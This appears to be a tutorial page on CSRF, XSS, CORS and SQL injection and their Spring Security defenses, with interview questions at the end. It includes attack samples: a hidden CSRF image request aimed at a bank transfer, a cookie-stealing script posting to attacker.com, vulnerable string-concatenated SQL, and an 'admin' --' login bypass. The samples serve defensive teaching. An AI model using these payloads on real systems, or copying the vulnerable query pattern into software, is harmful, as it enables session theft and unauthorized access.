Appearance
Understand Web Attacks: CSRF, XSS, CORS and SQL Injection | Spring Security Defenses
The Bank Check Counterfeiting and Impersonation Analogy
Imagine the security challenges faced by physical banking systems:
- The Forged Signature: A thief steals your pre printed checkbook, fills out a check payable to themselves for five thousand dollars, and deposits it. The bank sees a real check from your account and processes it.
- The Sabotaged ATM Keypad: A criminal glues a fake overlay onto an ATM keypad that logs your four digit pin as you type it.
- The Intercepted Courier: A courier carrying cash from Branch A to Branch B is held up at an unmonitored intersection.
- The Tampered Paper Ledger: An employee alters the numbers in the physical loan balance book directly using white out.
In web applications and REST APIs, digital counterparts to these exact attacks occur constantly: CSRF, XSS, CORS misconfigurations, and SQL Injection. Understanding these vulnerabilities from the attacker's perspective is essential to designing impenetrable defenses with Spring Security.
This lecture covers the anatomy of all four attacks, live request scenarios, and production defenses in Spring Boot.
1. CSRF (Cross Site Request Forgery)
The Attack Scenario:
- You log into your trusted online banking website (
bank.com). - The banking server authenticates you and sets an in memory session cookie:
Cookie: JSESSIONID=BANK_SESSION_101. - In a separate tab of the same browser, you visit an untrusted discussion forum or click a malicious phishing link (
evil.com). - The malicious page on
evil.comcontains a hidden image tag or auto submitting form:html<img src="http://bank.com/api/transfer?toAccount=attacker&amount=5000" style="display:none;" /> - Your browser attempts to load the image. Because the request is addressed to
bank.com, your browser automatically attaches your validJSESSIONIDcookie to the request! bank.comreceives the request, sees your valid authentication cookie, assumes you authorized the transfer, and transfers five thousand dollars to the attacker!
[ Victim Browser ] ---(visits evil.com)---> [ Attacker Server (evil.com) ]
| |
| <--- Returns page with hidden malicious request -+
|
+--- Auto-submits to bank.com with victim's COOKIE ---> [ bank.com ]
(Executes transfer!)The Spring Security Defense:
- CSRF Tokens: For every state mutating request (
POST,PUT,DELETE), Spring Security requires a unique, unpredictable random token generated on the server:htmlBecause<input type="hidden" name="_csrf" value="4bf92f35-77b3-4da6..." />evil.comcannot read the victim's CSRF token due to the browser's Same Origin Policy, forged requests lack the valid token and are rejected with403 Forbidden. - Stateless APIs (JWT / Basic Auth): In stateless REST APIs that do not use cookies for authentication (relying instead on
Authorization: Bearer <token>headers), browsers do not automatically attach credentials. Therefore, stateless APIs are immune to CSRF, and CSRF protection can be safely disabled:javahttp.csrf(csrf -> csrf.disable()); SameSiteCookie Attribute: Set cookie policy toSameSite=StrictorSameSite=Lax. Browsers will refuse to attach cookies to cross site requests originating from third party domains.
2. XSS (Cross Site Scripting)
The Attack Scenario:
XSS occurs when an application accepts untrusted user input and renders it directly onto an HTML webpage without proper sanitization or escaping.
Suppose a blog comment form accepts user text:
html
<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>If the server stores this comment in the database and renders it verbatim to other visitors:
- When another user opens the blog post, their browser executes the injected
<script>tag. - The script accesses
document.cookieand sends the user's session credentials directly to the attacker.
Categories of XSS:
- Stored (Persistent) XSS: Malicious script is saved in the database (comments, profiles) and served to multiple users.
- Reflected XSS: Script is embedded in a URL link (e.g.
site.com/search?q=<script>...) and reflected back in the search results page. - DOM Based XSS: Vulnerability exists purely in client side JavaScript altering the DOM unsafely (e.g. using
innerHTMLinstead oftextContent).
Defenses:
- HTML Escaping: Never render raw HTML strings. Template engines like Thymeleaf escape HTML automatically by default (
th:text="${comment}"). HttpOnlyCookies: Mark all session cookies asHttpOnly:propertiesJavaScript running in the browser cannot read`server.servlet.session.cookie.http-only=true`HttpOnlycookies viadocument.cookie, neutralizing token theft via XSS.- Content Security Policy (CSP): Configure HTTP headers instructing the browser to execute scripts only from trusted domains:java
http.headers(headers -> headers .contentSecurityPolicy(csp -> csp .policyDirectives("default-src 'self'; script-src 'self' https://trustedscripts.com") ) );
3. CORS (Cross Origin Resource Sharing)
What Is the Same Origin Policy?
By default, web browsers enforce the Same Origin Policy (SOP): a web page running on http://frontend.com:3000 is strictly prohibited from making AJAX/Fetch calls to http://backend.com:8080.
An "Origin" is defined by three components: Protocol + Domain + Port
If even one component differs, it is considered a Cross Origin request.
How CORS Works:
CORS is not an attack. CORS is an HTTP header based browser mechanism that allows servers to explicitly declare which foreign origins are permitted to access their resources.
For state mutating calls, the browser automatically sends a Preflight OPTIONS request first:
[ Browser (frontend.com:3000) ] [ Backend Server (backend.com:8080) ]
| |
| --- 1. OPTIONS /api/orders (Preflight) -----------------> |
| Origin: http://frontend.com:3000 |
| Access-Control-Request-Method: POST |
| |
| <-- 2. HTTP 200 OK -------------------------------------- |
| Access-Control-Allow-Origin: http://frontend.com:3000
| Access-Control-Allow-Methods: GET, POST, DELETE |
| |
| --- 3. POST /api/orders (Actual Request) ---------------> |
| <-- 4. HTTP 201 Created (Order Response) ---------------- |If the backend server does not include Access-Control-Allow-Origin: http://frontend.com:3000, the browser blocks the response and throws a CORS error in the developer console.
Configuring CORS in Spring Boot:
java
@Configuration
public class CorsConfig {
@Bean
public CorsConfigurationSource corsConfigurationSource() {
CorsConfiguration config = new CorsConfiguration();
config.setAllowedOrigins(List.of("http://frontend.com:3000", "https://mycompany.com"));
config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "OPTIONS"));
config.setAllowedHeaders(List.of("Authorization", "Content-Type", "X-Correlation-Id"));
config.setAllowCredentials(true);
config.setMaxAge(3600L); // Cache preflight response for 1 hour
UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
source.registerCorsConfiguration("/**", config);
return source;
}
}4. SQL Injection (SQLi)
The Attack Scenario:
SQL Injection occurs when user supplied input is concatenated directly into a dynamic SQL query string without escaping:
java
// VULNERABLE CODE: Direct string concatenation!
String sql = "SELECT * FROM users WHERE username = '" + userInput + "' AND password = '" + pass + "'";If an attacker enters the username: admin' --
The query becomes:
sql
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'The -- characters represent an SQL comment! The database evaluates WHERE username = 'admin' and ignores the password check completely, logging the attacker in as administrator!
Defenses:
- Parameterized Queries (
PreparedStatement): Always use placeholders (?or:namedParam). The database treats input strictly as literal parameter data, never as executable SQL instructions:java@Query("SELECT u FROM User u WHERE u.username = :username AND u.password = :password") Optional<User> findUser(@Param("username") String username, @Param("password") String password); - Use ORM Frameworks (Spring Data JPA): JPA and Hibernate automatically use parameterized
PreparedStatementobjects under the hood for derived queries and JPQL, making applications naturally immune to SQL injection.
Summary Comparison Matrix
| Attack | Attacker Goal | Primary Mechanism | Core Spring Security Defense |
|---|---|---|---|
| CSRF | Force victim to execute unwanted actions | Exploits ambient browser session cookies | CSRF Tokens, SameSite cookies, stateless JWTs |
| XSS | Execute malicious JavaScript in victim's browser | Injects unescaped scripts into web DOM | HTML escaping, HttpOnly cookies, Content Security Policy |
| CORS | Unauthorized cross domain data access | Browser Same Origin Policy violation | Explicit CorsConfigurationSource origin whitelisting |
| SQLi | Read, modify, or drop database tables | Injects malicious SQL fragments via unescaped input | Parameterized queries, PreparedStatement, Spring Data JPA |
Interview Questions & Pitfalls
Q1: Why should CSRF protection be disabled in stateless REST APIs using JWT tokens?
CSRF vulnerabilities rely entirely on the browser automatically attaching stored ambient credentials (such as cookies) to foreign domain requests. Stateless REST APIs store tokens in client side headers (Authorization: Bearer ...). Because browsers never attach custom authorization headers to cross domain requests automatically, CSRF attacks are physically impossible against token based APIs.
Q2: What is the difference between Stored XSS and Reflected XSS?
Stored XSS persists the malicious script payload permanently in the database (e.g. inside a public comment), executing against every user who loads the page. Reflected XSS embeds the script inside an HTTP request (e.g. a search query parameter in a malicious URL) and is immediately reflected back to only the specific victim who clicked that link.
Q3: What happens during a CORS preflight request?
Before executing a non simple cross origin request (such as a PUT request or any call with an application/json content type), the browser automatically issues an HTTP OPTIONS request. The preflight request asks the backend server whether the origin, HTTP method, and headers are permitted. Only after receiving a positive response does the browser send the actual business request.
Q4: How does setting cookie.httpOnly=true protect against session hijacking?
The HttpOnly flag instructs the browser that the cookie must never be accessible via client side scripts (document.cookie). If an attacker manages to inject and execute malicious JavaScript on the page via an XSS vulnerability, they cannot read or exfiltrate the HttpOnly session cookie.
Q5: Why does using Spring Data JPA derived query methods automatically prevent SQL injection?
Spring Data JPA generates parameterized SQL statements backed by JDBC PreparedStatement objects for all derived query methods. Parameter values are sent separately from the SQL command structure, ensuring the database engine compiles the query plan first and treats input strictly as literal string or numeric data.